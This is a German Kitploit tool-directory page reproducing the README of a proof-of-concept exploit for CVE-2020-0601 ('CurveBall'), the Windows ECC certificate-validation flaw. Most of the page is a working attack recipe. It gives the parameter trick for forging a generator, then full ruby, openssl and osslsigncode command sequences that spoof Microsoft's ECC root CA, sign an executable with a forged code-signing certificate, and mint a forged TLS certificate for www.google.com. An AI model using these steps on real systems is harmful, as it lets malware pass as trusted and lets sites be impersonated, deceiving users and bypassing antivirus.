Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
-CVE-2020-0601-ECC---EXPLOIT — CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, allgemein auch als CurveBall bezeichnet, ist eine Schwachstelle, bei der die Signatur von Zertifikaten, die Elliptische-Kurven-Kryptografie (ECC) verwenden, nicht korrekt überprüft wird. Angreifer können selbstgebaute Generatoren bereitstellen und so Validierung, Antivirus und alle Nicht-Schutzmechanismen umgehen. | Kitploit
Tools/GitHubGitHub/iiictech/-cve-2020-0601-ecc---exploit
SchwachstellenanalyseCode-AnalyseExploitationKryptographieLernen & BildungBinary-Exploitation
GitHubiiictech/-cve-2020-0601-ecc---exploit

-CVE-2020-0601-ECC---EXPLOIT

Repository anzeigen
321vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, allgemein auch als CurveBall bezeichnet, ist eine Schwachstelle, bei der die Signatur von Zertifikaten, die Elliptische-Kurven-Kryptografie (ECC) verwenden, nicht korrekt überprüft wird. Angreifer können selbstgebaute Generatoren bereitstellen und so Validierung, Antivirus und alle Nicht-Schutzmechanismen umgehen.

Teilen

CurveBall (CVE-2020-0601) - ECC/Po2 EXPLOIT

CVE-2020-0601, allgemein auch als CurveBall bezeichnet, ist eine Schwachstelle, bei der die Signatur von Zertifikaten, die Elliptic-Curve-Kryptografie (ECC) verwenden, nicht korrekt überprüft wird.

ECC stützt sich auf verschiedene Parameter. Für viele Kurven werden standardisierte Parameter verwendet. Microsoft hat jedoch nicht alle diese Parameter überprüft, so wie es die Genies, die sie sind, eben tun ... Der Parameter G (der Generator) wurde NICHT überprüft, und ein Angreifer kann daher einen handgefertigten Generator liefern. Wenn Microsoft versucht, das Zertifikat gegen eine vertrauenswürdige CA zu validieren, sucht es nur nach passenden öffentlichen Schlüsseln, und dann booooom, verwendet es den Generator des Zertifikats.

Die NSA erklärt die verheerenden Auswirkungen dieser Schwachstelle und mehr hier. Schnall dich an und leg los!

MicrosoftECCProductRootCertificateAuthority.cer ist standardmäßig eine vertrauenswürdige Stammzertifizierungsstelle (CA), die unter Windows 10 ECC verwendet. Alles, was mit diesem Zertifikat signiert wird, wird daher automatisch als vertrauenswürdig eingestuft.

Es sei gesagt, sie sind immer auf der Lauer ... also Bitte verwenden Sie dies nur für Bildungs- und Forschungszwecke.

Mindestanforderungen openssl 1.1.0 ruby 2.4.0

Mathematische Details

Wenn Sie sich für die mathematischen Details der Schwachstelle interessieren, lesen Sie bitte mehr hier.

Um das Zertifikat zu fälschen, setzen Sie die folgenden Parameter:

root@kitploit:~
d' = 1
G' = Q

Sodass Q = Q' = d'G'.

Verwendung

Erstellen Sie ein Zertifikat mit demselben öffentlichen Schlüssel und denselben Parametern wie eine vertrauenswürdige CA. Dieses wird als unsere gefälschte CA verwendet. Setzen Sie den Generator auf einen Wert, für den Sie den privaten Schlüssel kennen. Sie können den Generator einfach auf den öffentlichen Schlüssel setzen und den privaten Schlüssel auf 1, da Q = dG.

Als Nächstes erstellen Sie eine Zertifikatsignierungsanfrage (Certificate Signing Request) mit den Erweiterungen, die Sie verwenden möchten, z. B. Code Signing oder Serverauthentifizierung.

Signieren Sie diese Zertifikatsanfrage mit Ihrer gefälschten CA und dem CA-Schlüssel und fügen Sie die Verwendungserweiterungen hinzu.

Bündeln Sie die signierte Zertifikatsanfrage (jetzt ein reguläres Zertifikat) mit der gefälschten CA, und Sie haben ein signiertes und vertrauenswürdiges Zertifikat.

Wenn Windows überprüft, ob das Zertifikat vertrauenswürdig ist, sieht es, dass es von unserer gefälschten CA signiert wurde. Es vergleicht dann den öffentlichen Schlüssel der gefälschten CA mit dem der vertrauenswürdigen CAs. Anschließend verifiziert es einfach die Signatur unserer gefälschten CA mit dem Generator der gefälschten CA - genau hier liegt das Problem.

Wenn Sie sich dafür entscheiden, Ihr neu signiertes, vertrauenswürdiges Zertifikat in Windows zu öffnen, wird es nicht als vertrauenswürdig erkannt, da es mit nichts verknüpft wurde. Windows wird also die gefälschte CA nicht verwenden. Das Zertifikat muss immer zusammen mit der gefälschten CA präsentiert werden.

Code-Signierung

Bitte verwenden Sie dies nur für Bildungs- und Forschungszwecke.

Extrahieren Sie den öffentlichen Schlüssel aus der CA und modifizieren Sie ihn gemäß der Schwachstelle:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Erzeugen Sie ein neues x509-Zertifikat auf der Grundlage dieses Schlüssels. Dieses wird unsere eigene gefälschte CA sein.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Erzeugen Sie einen neuen Schlüssel. Dieser Schlüssel kann einen beliebigen Typ haben. Er wird verwendet, um ein Code-Signaturzertifikat zu erstellen, das wir mit unserer eigenen CA signieren werden.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Als Nächstes erstellen Sie eine neue Zertifikatsignierungsanfrage (CSR). Diese Anfrage wird normalerweise an vertrauenswürdige CAs gesendet, aber da wir eine gefälschte haben, können wir sie selbst signieren.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Signieren Sie Ihre neue CSR mit unserer gefälschten CA und dem CA-Schlüssel. Dieses Zertifikat läuft im Jahr 2047 ab, während die echte vertrauenswürdige Microsoft-CA im Jahr 2043 abläuft.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

Es bleibt nur noch, das Zertifikat, seinen Schlüssel und die gefälschte CA in eine PKCS12-Datei zu packen, um ausführbare Dateien zu signieren.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Signieren Sie Ihre ausführbare Datei mit der PKCS12-Datei.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

Bitte verwenden Sie dies nur für Bildungs- und Forschungszwecke. Extrahieren Sie den öffentlichen Schlüssel aus der CA und modifizieren Sie ihn gemäß der Schwachstelle:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Erzeugen Sie ein neues x509-Zertifikat auf der Grundlage dieses Schlüssels. Dieses wird unsere eigene gefälschte CA sein.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Erzeugen Sie einen neuen Schlüssel. Dieser Schlüssel kann einen beliebigen Typ haben. Er wird verwendet, um ein SSL-Zertifikat zu erstellen, das wir mit unserer eigenen CA signieren werden.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Als Nächstes erstellen Sie eine neue Zertifikatsignierungsanfrage (CSR). Diese Anfrage wird normalerweise an vertrauenswürdige CAs gesendet, aber da wir eine gefälschte haben, können wir sie selbst signieren.

Wenn Sie den Domainnamen ändern möchten, ändern Sie CN = www.google.com zu CN = www.example.com in openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Signieren Sie Ihre neue CSR mit unserer gefälschten CA und dem CA-Schlüssel. Dieses Zertifikat läuft im Jahr 2047 ab, während die echte vertrauenswürdige Microsoft-CA im Jahr 2043 abläuft.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

Sie können nun cert.crt, cert.key und spoofed_ca.crt verwenden, um Ihre Inhalte auszuliefern. Denken Sie daran, spoofed_ca.crt als Zertifikatskette in der HTTPS-Konfiguration Ihres Servers hinzuzufügen.

Siehe das Verwendungsbeispiel unter [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).

Bitte verwenden Sie dies nur für Bildungs- und Forschungszwecke.

Tool herunterladen